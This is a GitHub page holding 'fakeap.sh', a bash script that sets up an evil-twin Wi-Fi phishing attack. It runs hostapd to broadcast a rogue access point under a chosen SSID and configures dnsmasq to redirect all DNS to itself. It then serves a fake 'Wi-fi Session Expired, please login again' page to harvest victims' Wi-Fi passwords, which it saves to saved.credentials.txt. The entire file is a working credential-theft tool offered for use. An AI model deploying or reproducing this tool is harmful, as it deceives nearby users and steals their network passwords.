forked from evil5hadow/fakeap
-
Notifications
You must be signed in to change notification settings - Fork 19
/
fakeap.sh
200 lines (161 loc) · 6.96 KB
/
fakeap.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
# Fake-AP v1.0, Author @thelinuxchoice (You dont become coder by just changing the credits)
# github: https://github.com/thelinuxchoice/fakeap
trap 'printf "\n";stop;exit 1' 2
dependencies() {
command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
command -v dnsmasq > /dev/null 2>&1 || { echo >&2 "I require dnsmasq but it's not installed. Install it. Aborting."; exit 1; }
command -v hostapd > /dev/null 2>&1 || { echo >&2 "I require hostapd but it's not installed. Install it. Aborting."; exit 1; }
}
banner() {
printf "\e[1;77m8888888888 888 \e[0m\e[1;92m[d8888 8888888b. \e[0m\n"
printf "\e[1;77m888 888 \e[0m\e[1;92md88888 888 Y88b \e[0m\n"
printf "\e[1;77m888 888 \e[0m\e[1;92md88P888 888 888 \e[0m\n"
printf "\e[1;77m8888888 8888b. 888 888 .d88b. \e[0m\e[1;92md88P 888 888 d88P \e[0m\n"
printf "\e[1;77m888 88b 888 .88P d8P Y8b \e[0m\e[1;92md88P 888 8888888P \e[0m\n"
printf "\e[1;77m888 .d888888 888888K 88888888 888888 \e[0m\e[1;92md88P 888 888 \e[0m\n"
printf "\e[1;77m888 888 888 888 88b Y8b. \e[0m\e[1;92md8888888888 888 \e[0m\n"
printf "\e[1;77m888 Y888888 888 888 Y8888 \e[0m\e[1;92md88P 888 888\e[0m\e[1;77m v1.0\e[0m\n"
printf "\n"
printf "\e[1;31m .- _ _ -. \n"
printf " / / \ \ \n"
printf " ( ( (\` (-o-) \`) ) ) \n"
printf " \ \_ \` -+- \` _/ / \n"
printf " \`- -+- -\` \n"
printf " -+- \e[0m\e[1;77mCoded by: @thelinuxchoice\e[0m\n"
printf "\n"
}
catch_cred() {
#account=$(grep -o 'Account:.*' sites/$server/credentials.txt | cut -d " " -f2)
IFS=$'\n'
password=$(grep -o 'Pass:.*' credentials.txt | cut -d ":" -f2)
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m SSID:\e[0m\e[1;77m %s\n\e[0m" $use_ssid
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password
printf " SSID: %s\n" $use_ssid >> saved.credentials.txt
cat credentials.txt >> saved.credentials.txt
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m saved.credentials.txt\e[0m\n"
stop
exit 1
}
getcredentials() {
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting credentials ...\e[0m\n"
while [ true ]; do
if [[ -e "credentials.txt" ]]; then
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
catch_cred
fi
sleep 1
done
}
createpage() {
default_cap1="Wi-fi Session for '$use_ssid' Expired!"
default_cap2="Please login again."
#default_user_text="Username:"
default_pass_text="Password"
default_sub_text="Log-In"
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session for SSID Expired!): \e[0m' cap1
cap1="${cap1:-${default_cap1}}"
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2
cap2="${cap2:-${default_cap2}}"
#read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text
#user_text="${user_text:-${default_user_text}}"
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text
pass_text="${pass_text:-${default_pass_text}}"
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text
sub_text="${sub_text:-${default_sub_text}}"
echo "<!DOCTYPE html>" > index.html
echo "<html>" >> index.html
echo "<body bgcolor=\"gray\" text=\"white\">" >> index.html
IFS=$'\n'
printf '<center><h2> %s <br><br> %s </h2></center><center>\n' $cap1 $cap2 >> index.html
IFS=$'\n'
printf '<form method="POST" action="login.php"><label>%s </label>\n' $user_text >> index.html
IFS=$'\n'
#printf '<input type="text" name="username" length=64>\n' >> index.html
#IFS=$'\n'
printf '<br><label>%s: </label>' $pass_text >> index.html
IFS=$'\n'
printf '<input type="password" name="password" length=64><br><br>\n' >> index.html
IFS=$'\n'
printf '<input value="%s" type="submit"></form>\n' $sub_text >> index.html
printf '</center>' >> index.html
printf '<body>\n' >> index.html
printf '</html>\n' >> index.html
}
server() {
printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
#cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 &
php -S 192.168.1.1:80 > /dev/null 2>&1 &
sleep 2
getcredentials
}
stop() {
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Killing all conections..\n"
killall dnsmasq hostapd > /dev/null 2>&1
sleep 4
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Restarting Network-Manager..\n"
service network-manager restart
sleep 5
}
start() {
if [[ -e credentials.txt ]]; then
rm -rf credentials.txt
fi
interface=$(ifconfig -a | sed 's/[ \t].*//;/^$/d' | tr -d ':' > iface)
counter=1
for i in $(cat iface); do
printf "\e[1;92m%s\e[0m: \e[1;77m%s\n" $counter $i
let counter++
done
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Interface to use:\e[0m ' use_interface
choosed_interface=$(sed ''$use_interface'q;d' iface)
IFS=$'\n'
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] SSID to use:\e[0m ' use_ssid
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Channel to use:\e[0m ' use_channel
createpage
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Killing all conections..\e[0m\n"
sleep 2
#stop
killall network-manager hostapd dnsmasq wpa_supplicant dhcpd > /dev/null 2>&1
sleep 5
printf "interface=%s\n" $choosed_interface > hostapd.conf
printf "driver=nl80211\n" >> hostapd.conf
printf "ssid=%s\n" $use_ssid >> hostapd.conf
printf "hw_mode=g\n" >> hostapd.conf
printf "channel=%s\n" $use_channel >> hostapd.conf
printf "macaddr_acl=0\n" >> hostapd.conf
printf "auth_algs=1\n" >> hostapd.conf
printf "ignore_broadcast_ssid=0\n" >> hostapd.conf
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] %s down\n" $choosed_interface
ifconfig $choosed_interface down
sleep 4
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Setting %s to monitor mode\n" $choosed_interface
iwconfig $choosed_interface mode monitor
sleep 4
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] %s Up\n" $choosed_interface
ifconfig wlan0 up
sleep 5
hostapd hostapd.conf > /dev/null 2>&1 &
sleep 6
printf "interface=%s\n" $choosed_interface > dnsmasq.conf
printf "dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h\n" >> dnsmasq.conf
printf "dhcp-option=3,192.168.1.1\n" >> dnsmasq.conf
printf "dhcp-option=6,192.168.1.1\n" >> dnsmasq.conf
printf "server=8.8.8.8\n" >> dnsmasq.conf
printf "log-queries\n" >> dnsmasq.conf
printf "log-dhcp\n" >> dnsmasq.conf
printf "listen-address=127.0.0.1\n" >> dnsmasq.conf
printf "address=/#/192.168.1.1\n" >> dnsmasq.conf
ifconfig $choosed_interface up 192.168.1.1 netmask 255.255.255.0
sleep 1
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
sleep 1
dnsmasq -C dnsmasq.conf -d > /dev/null 2>&1 &
sleep 5
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] To Stop: ./fakeap.sh --stop\n"
server
}
case "$1" in --stop) stop ;; *)
banner
dependencies
start
esac